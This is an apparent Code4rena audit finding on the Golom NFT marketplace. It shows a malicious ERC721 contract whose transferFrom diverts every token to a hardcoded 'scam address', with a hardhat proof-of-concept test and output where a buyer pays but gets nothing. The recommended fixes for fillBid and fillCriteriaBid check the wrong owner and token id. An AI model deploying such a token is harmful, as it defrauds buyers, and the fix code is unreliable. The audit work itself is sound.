Golom contest - i0001's results

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L236 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L301 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L361

Vulnerability details

Impact

In GolomTrader.sol, the fillAsk, fillBid and fillCriteriaBid function have ERC721 transferFrom function utilized.

There are no checks for

1. Whether the transaction went through successfully
2. Whether the actual receiver does receive the Token and not another address
3. Whether the NFT Contract is malicious or not

This could mean that the NFT that is being "sold" may not be actually be transferred to the buyer.

Proof of Concept

A malicious NFT Contract. Observe the last line of transferFrom function, it will transfer the tokens to a pre defined address only irrespective of the input.

// Solidity files have to start with this pragma.
// It will be used by the Solidity compiler to validate its version.
// pragma solidity ^0.8.0;

pragma solidity ^0.8.0;

import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/utils/Counters.sol';

contract ERC721Mock is ERC721 {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;

    constructor() ERC721('ERC721Mock', '721Mock') {}

    function mint(address player) public returns (uint256) {
        _tokenIds.increment();

        uint256 newItemId = _tokenIds.current();
        _mint(player, newItemId);

        return newItemId;
    }

    function current() public view returns (uint256) {
        return _tokenIds.current();
    }

            function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public override {
        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner or approved");

        _transfer(from, 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 , tokenId);
    }
    
}

Updated hardhat test (within the same file provided)

        it('should transfer the ERC721 token from seller to the buyer', async () => {
            let exchangeAmount = ethers.utils.parseEther('1'); // cut for the exchanges
            let prePaymentAmt = ethers.utils.parseEther('0.25'); // royalty cut
            let totalAmt = ethers.utils.parseEther('10');
            let tokenId = await testErc721.current();

            const order = {
                collection: testErc721.address,
                tokenId: tokenId,
                signer: await maker.getAddress(),
                orderType: 0,
                totalAmt: totalAmt,
                exchange: { paymentAmt: exchangeAmount, paymentAddress: await exchange.getAddress() },
                prePayment: { paymentAmt: prePaymentAmt, paymentAddress: await prepay.getAddress() },
                isERC721: true,
                tokenAmt: 1,
                refererrAmt: 0,
                root: '0x0000000000000000000000000000000000000000000000000000000000000000',
                reservedAddress: constants.AddressZero,
                nonce: 0,
                deadline: Date.now() + 100000,
                r: '',
                s: '',
                v: 0,
            };

            let signature = (await maker._signTypedData(domain, types, order)).substring(2);

            order.r = '0x' + signature.substring(0, 64);
            order.s = '0x' + signature.substring(64, 128);
            order.v = parseInt(signature.substring(128, 130), 16);

            console.log("Before Transaction");
            let scamAddress = "0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2";
            let seller = await maker.getAddress();
            console.log("Balance of Seller Address", await testErc721.balanceOf(await seller));
            console.log("Balance of Receiver Address", await testErc721.balanceOf(await taker.getAddress()));
            console.log("Balance of Scam Address", await testErc721.balanceOf(scamAddress));

            await golomTrader.connect(taker).fillAsk(
                order,
                1,
                '0x0000000000000000000000000000000000000000',
                {
                    paymentAmt: prePaymentAmt,
                    paymentAddress: await governance.getAddress(),
                },
                receiver,
                {
                    value: utils.parseEther('10.25'),
                }
            );
            console.log("After Transaction");
            console.log("Balance of Seller Address", await testErc721.balanceOf(await seller));
            console.log("Balance of Receiver Address", await testErc721.balanceOf(await taker.getAddress()));
            console.log("Balance of Scam Address", await testErc721.balanceOf(scamAddress));
            expect(await testErc721.balanceOf(await taker.getAddress())).to.be.equals('1');
        });

Output of the hardhat test:

i@i-i:~/Desktop/Code4_golom_July27/2022-07-golom$ npx hardhat test --grep "should transfer the ERC721 token"
No need to generate any newer typings.

  Trader.sol
    #fillAsk
Before Transaction
Balance of Seller Address BigNumber { _hex: '0x01', _isBigNumber: true }
Balance of Receiver Address BigNumber { _hex: '0x00', _isBigNumber: true }
Balance of Scam Address BigNumber { _hex: '0x00', _isBigNumber: true }
After Transaction
Balance of Seller Address BigNumber { _hex: '0x00', _isBigNumber: true }
Balance of Receiver Address BigNumber { _hex: '0x00', _isBigNumber: true }
Balance of Scam Address BigNumber { _hex: '0x01', _isBigNumber: true }

      1) should transfer the ERC721 token from seller to the buyer

·-------------------------------------|---------------------------|-------------|-------------------------------------·
|        Solc version: 0.8.11         ·  Optimizer enabled: true  ·  Runs: 200  ·  Block limit: 9007199254740991 gas  │
······································|···························|·············|······································
|  Methods                                                                                                            │
················|·····················|·············|·············|·············|···················|··················
|  Contract     ·  Method             ·  Min        ·  Max        ·  Avg        ·  # calls          ·  eur (avg)      │
················|·····················|·············|·············|·············|···················|··················
|  ERC1155Mock  ·  setApprovalForAll  ·          -  ·          -  ·      46225  ·                1  ·              -  │
················|·····················|·············|·············|·············|···················|··················
|  ERC721Mock   ·  mint               ·          -  ·          -  ·      90772  ·                1  ·              -  │
················|·····················|·············|·············|·············|···················|··················
|  ERC721Mock   ·  setApprovalForAll  ·          -  ·          -  ·      46180  ·                1  ·              -  │
················|·····················|·············|·············|·············|···················|··················
|  GolomTrader  ·  fillAsk            ·          -  ·          -  ·     241948  ·                1  ·              -  │
················|·····················|·············|·············|·············|···················|··················
|  GolomTrader  ·  setDistributor     ·          -  ·          -  ·      46281  ·                1  ·              -  │
················|·····················|·············|·············|·············|···················|··················
|  Deployments                        ·                                         ·  % of limit       ·                 │
······································|·············|·············|·············|···················|··················
|  ERC1155Mock                        ·          -  ·          -  ·    1482781  ·              0 %  ·              -  │
······································|·············|·············|·············|···················|··················
|  ERC20Mock                          ·          -  ·          -  ·     496811  ·              0 %  ·              -  │
······································|·············|·············|·············|···················|··················
|  ERC721Mock                         ·          -  ·          -  ·    1228306  ·              0 %  ·              -  │
······································|·············|·············|·············|···················|··················
|  GolomToken                         ·          -  ·          -  ·    1998674  ·              0 %  ·              -  │
······································|·············|·············|·············|···················|··················
|  GolomTrader                        ·          -  ·          -  ·    2013842  ·              0 %  ·              -  │
······································|·············|·············|·············|···················|··················
|  RewardDistributor                  ·          -  ·          -  ·    2379531  ·              0 %  ·              -  │
······································|·············|·············|·············|···················|··················
|  WETH                               ·          -  ·          -  ·     572761  ·              0 %  ·              -  │
·-------------------------------------|-------------|-------------|-------------|-------------------|-----------------·

  0 passing (2s)
  1 failing

  1) Trader.sol
       #fillAsk
         should transfer the ERC721 token from seller to the buyer:
     AssertionError: Expected "0" to be equal 1
      at Context.<anonymous> (test/GolomTrader.specs.ts:448:80)

Tools Used

Hardhat setup (provided by the team) , Remix

Recommended Mitigation Steps

Add function ownerOf in the interface:

interface ERC721 {
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;
    
    function ownerOf(uint256 tokenId) external view returns (address owner);
}

Add a require statement with in fillAsk Function to check if NFT has been transferred to receiver (after line 236):

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L236

        if (o.isERC721) {
            require(amount == 1, 'only 1 erc721 at 1 time');
            ERC721(o.collection).transferFrom(o.signer, receiver, o.tokenId);
            require(ERC721(o.collection).ownerOf(o.tokenId) == receiver);
        }

Add a require statement with in fillBid Function to check if NFT has been transferred to receiver (after line 301):

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L301

        if (o.isERC721) {
            require(amount == 1, 'only 1 erc721 at 1 time');
            ERC721 nftcontract = ERC721(o.collection);
            nftcontract.transferFrom(msg.sender, o.signer, o.tokenId);
            require(ERC721(o.collection).ownerOf(o.tokenId) == receiver);
        } 

Add a require statement with in fillCriteriaBid Function to check if NFT has been transferred to receiver (after line 361):

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L361

        if (o.isERC721) {
            require(amount == 1, 'only 1 erc721 at 1 time');
            ERC721 nftcontract = ERC721(o.collection);
            nftcontract.transferFrom(msg.sender, o.signer, tokenId);
            require(ERC721(o.collection).ownerOf(o.tokenId) == receiver);
        } 

Output of hardhat test:

i@i-i:~/Desktop/Code4_golom_July27/2022-07-golom$ npx hardhat test --grep "should transfer the ERC721 token"
Warning: SPDX license identifier not provided in source file. Before publishing, consider adding a comment containing "SPDX-License-Identifier: <SPDX-License>" to each source file. Use "SPDX-License-Identifier: UNLICENSED" for non-open-source code. Please see https://spdx.org for more information.
--> contracts/test/ERC721Mock.sol


Warning: SPDX license identifier not provided in source file. Before publishing, consider adding a comment containing "SPDX-License-Identifier: <SPDX-License>" to each source file. Use "SPDX-License-Identifier: UNLICENSED" for non-open-source code. Please see https://spdx.org for more information.
--> contracts/vote-escrow/TokenUriHelper.sol


Warning: Unused function parameter. Remove or comment out the variable name to silence this warning.
  --> contracts/test/ERC721Mock.sol:31:9:
   |
31 |         address to,
   |         ^^^^^^^^^^


Generating typings for: 57 artifacts in dir: typechain for target: ethers-v5
Successfully generated 84 typings!
Compiled 41 Solidity files successfully

  Trader.sol
    #fillAsk
Before Transaction
Balance of Seller Address BigNumber { _hex: '0x01', _isBigNumber: true }
Balance of Receiver Address BigNumber { _hex: '0x00', _isBigNumber: true }
Balance of Scam Address BigNumber { _hex: '0x00', _isBigNumber: true }

      1) should transfer the ERC721 token from seller to the buyer

·-------------------------------------|---------------------------|-------------|-------------------------------------·
|        Solc version: 0.8.11         ·  Optimizer enabled: true  ·  Runs: 200  ·  Block limit: 9007199254740991 gas  │
······································|···························|·············|······································
|  Methods                                                                                                            │
················|·····················|·············|·············|·············|···················|··················
|  Contract     ·  Method             ·  Min        ·  Max        ·  Avg        ·  # calls          ·  eur (avg)      │
················|·····················|·············|·············|·············|···················|··················
|  ERC1155Mock  ·  setApprovalForAll  ·          -  ·          -  ·      46225  ·                1  ·              -  │
················|·····················|·············|·············|·············|···················|··················
|  ERC721Mock   ·  mint               ·          -  ·          -  ·      90772  ·                1  ·              -  │
················|·····················|·············|·············|·············|···················|··················
|  ERC721Mock   ·  setApprovalForAll  ·          -  ·          -  ·      46180  ·                1  ·              -  │
················|·····················|·············|·············|·············|···················|··················
|  GolomTrader  ·  setDistributor     ·          -  ·          -  ·      46275  ·                1  ·              -  │
················|·····················|·············|·············|·············|···················|··················
|  Deployments                        ·                                         ·  % of limit       ·                 │
······································|·············|·············|·············|···················|··················
|  ERC1155Mock                        ·          -  ·          -  ·    1482781  ·              0 %  ·              -  │
······································|·············|·············|·············|···················|··················
|  ERC20Mock                          ·          -  ·          -  ·     496811  ·              0 %  ·              -  │
······································|·············|·············|·············|···················|··················
|  ERC721Mock                         ·          -  ·          -  ·    1228306  ·              0 %  ·              -  │
······································|·············|·············|·············|···················|··················
|  GolomToken                         ·          -  ·          -  ·    1998674  ·              0 %  ·              -  │
······································|·············|·············|·············|···················|··················
|  GolomTrader                        ·          -  ·          -  ·    2057229  ·              0 %  ·              -  │
······································|·············|·············|·············|···················|··················
|  RewardDistributor                  ·          -  ·          -  ·    2379531  ·              0 %  ·              -  │
······································|·············|·············|·············|···················|··················
|  WETH                               ·          -  ·          -  ·     572761  ·              0 %  ·              -  │
·-------------------------------------|-------------|-------------|-------------|-------------------|-----------------·

  0 passing (2s)
  1 failing

  1) Trader.sol
       #fillAsk
         should transfer the ERC721 token from seller to the buyer:
     Error: Transaction reverted without a reason string
      at GolomTrader.fillAsk (contracts/core/GolomTrader.sol:239)
      at async HardhatNode._mineBlockWithPendingTxs (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:1772:23)
      at async HardhatNode.mineBlock (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:466:16)
      at async EthModule._sendTransactionAndReturnHash (node_modules/hardhat/src/internal/hardhat-network/provider/modules/eth.ts:1496:18)
      at async HardhatNetworkProvider.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:118:18)
      at async EthersProviderWrapper.send (node_modules/@nomiclabs/hardhat-ethers/src/internal/ethers-provider-wrapper.ts:13:20)

This mitigation is not sufficent as there could be multiple ways malicious contracts can attack the marketplace or behave in an unacceptable manner. All NFTs listed need to be thoroughly audited, tested and verified before listing / trading / any interactions with it.

Additionally as per golom FAQ, https://docs.golom.io/faqs

It allows any NFT to be traded.

Q. Which type of NFTs I can trade on golom.io?
Answer : Golom indexes all ERC721 and ERC1155 collections in existence on the Ethereum blockchain, more chains will be launched soon but initially the plan is to focus on high volume collections on Golom (say top 100-300) where we provide deep analytics and data like show liquidity across multiple other platforms etc ,however the protocol will allow any NFT to be traded.

This needs to be changed to "all NFT Contracts that have been audited and verified".